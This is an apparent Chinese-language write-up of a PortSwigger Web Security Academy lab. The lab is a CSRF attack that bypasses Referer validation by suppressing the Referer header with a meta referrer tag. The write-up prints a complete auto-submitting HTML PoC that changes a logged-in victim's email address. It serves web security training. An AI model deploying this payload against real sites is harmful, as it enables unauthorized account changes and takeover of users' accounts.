从业者-CSRF-Referer验证取决于标头是否存在
# 实验室:CSRF-Referer验证取决于标头是否存在
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。它试图阻止跨域请求,但具有一个不安全的回退。
若要解决实验室问题,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
- name: 实验室-从业者
desc: CSRF-Referer验证取决于标头是否存在 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-depends-on-header-being-present
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。
登录后,在账户页面中可以看到一个邮箱更改功能,输入一个新邮箱,点击 “Update email” 并捕获请求数据包。
捕获的请求数据包如下。
使用该数据包生成一个 PoC,并保存至漏洞利用服务器。
自己测试一遍 PoC,由于Referer标头携带的是漏洞利用服务器的地址,所以请求失败。
将请求转到 Repeater 功能模块,只要提供了错误的Referer标头值,都会拒绝请求。
删除整个Referer标头,请求成功。
说明当不存在Referer标头时,服务端就不会验证 Referer 参数值。
修改一下之前的 PoC,添加meta标签,使请求不携带Referer标头:
<meta name="referrer" content="never">
1
完整:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="never">
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="j@k.l" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2
3
4
5
6
7
8
9
10
11
12
13
14
15
别忘了修改 PoC 中的邮件地址,防止冲突。
将以上 PoC 保存至漏洞利用服务器上,然后发送给受害用户。
载荷正确,成功更改了受害用户的邮箱地址。
实验完成。

编辑 (opens new window)